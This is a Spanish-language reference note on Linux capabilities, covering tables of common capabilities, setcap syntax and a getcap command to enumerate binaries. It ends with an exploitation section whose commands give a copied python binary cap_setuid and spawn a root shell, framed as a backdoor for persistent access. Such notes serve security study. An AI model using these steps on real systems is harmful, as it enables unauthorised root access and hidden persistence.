Capabilities

Las Capabilities de Linux son una característica de seguridad del sistema operativo Linux que permite otorgar privilegios específicos a los procesos, permitiéndoles realizar acciones específicas que de otro modo estarían restringidas. Esto permite un control más preciso sobre qué procesos tienen acceso a ciertos privilegios, haciéndolo más seguro que el modelo tradicional de Unix de otorgar privilegios a usuarios y grupos.

A continuación se muestran algunas capacidades comunes disponibles en Linux:

Capability Descripción
CAP_SYS_ADMIN Permite realizar acciones con privilegios administrativos, como modificar archivos del sistema o cambiar configuraciones del sistema. administrativas.
CAP_CHOWN Cambiar la propiedad de archivos.
CAP_DAC_OVERRIDE Ignorar las verificaciones de permisos de lectura, escritura y ejecución de archivos.
CAP_DAC_READ_SEARCH Ignorar las verificaciones de permisos de lectura de archivos.
CAP_FOWNER Ignorar las verificaciones de permisos que normalmente requieren ser el propietario del archivo.
CAP_NET_ADMIN Realizar diversas operaciones relacionadas con la red, como configurar interfaces.
CAP_NET_BIND_SERVICE Vincular (bind) a puertos de red por debajo del 1024.
CAP_SYS_MODULE Cargar y descargar módulos del kernel.
CAP_SYS_RAWIO Realizar operaciones de entrada/salida (I/O) a bajo nivel.
CAP_SYS_TIME Modificar el reloj del sistema.

Asignar una Capability

sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic

Eliminar una Capability

sudo setcap cap_net_bind_service=-ep /usr/bin/vim.basic

A continuación se muestran algunos ejemplos de valores que podemos utilizar con el comando setcap, junto con una breve descripción de lo que hacen:

Valor Descripción
= Establece la capacidad especificada para el ejecutable, pero no otorga ningún privilegio. Útil para borrar capacidades previamente asignadas.
+ep Otorga al ejecutable los privilegios efectivos y permitidos para la capacidad especificada. Permite que el ejecutable realice acciones permitidas por la capacidad, pero no otras.
+ei Otorga al ejecutable privilegios efectivos e heredables para la capacidad especificada. Permite que el ejecutable y los procesos secundarios hereden la capacidad y realicen las acciones permitidas.
+p Otorga al ejecutable los privilegios permitidos para la capacidad especificada. Permite que el ejecutable realice acciones permitidas, pero evita que la capacidad sea heredada por procesos secundarios.

En Linux, se pueden utilizar diversas capacidades (capabilities) para escalar los privilegios de un usuario hasta obtener acceso de root. Estas capacidades permiten a los procesos realizar acciones específicas que normalmente están restringidas a usuarios con privilegios elevados. A continuación, se describen algunas de las capacidades más relevantes para este propósito:

Capability Descripción
CAP_SETUID Permite que un proceso establezca su ID de usuario efectivo, lo que puede usarse para obtener los privilegios de otro usuario, incluido root.
CAP_SETGID Permite que un proceso establezca su ID de grupo efectivo, lo que puede usarse para obtener los privilegios de otro grupo, incluido el grupo root.
CAP_SYS_ADMIN Proporciona una amplia gama de privilegios administrativos, como modificar la configuración del sistema, montar y desmontar sistemas de archivos, y realizar otras acciones reservadas para el usuario root.
CAP_DAC_OVERRIDE Permite omitir las verificaciones de permisos de lectura, escritura y ejecución de archivos, lo que facilita el acceso a archivos restringidos.

Enumerar binarios con capabilities

find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Explotación

Si hay capability configuradas en un binario, podemos usar esta capability para escalar privilegios. Por ejemplo, si se establece la capability CAP_SETUID, esto se puede usar como una puerta trasera para mantener el acceso privilegiado manipulando su propio UID de proceso.

cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

Referencias: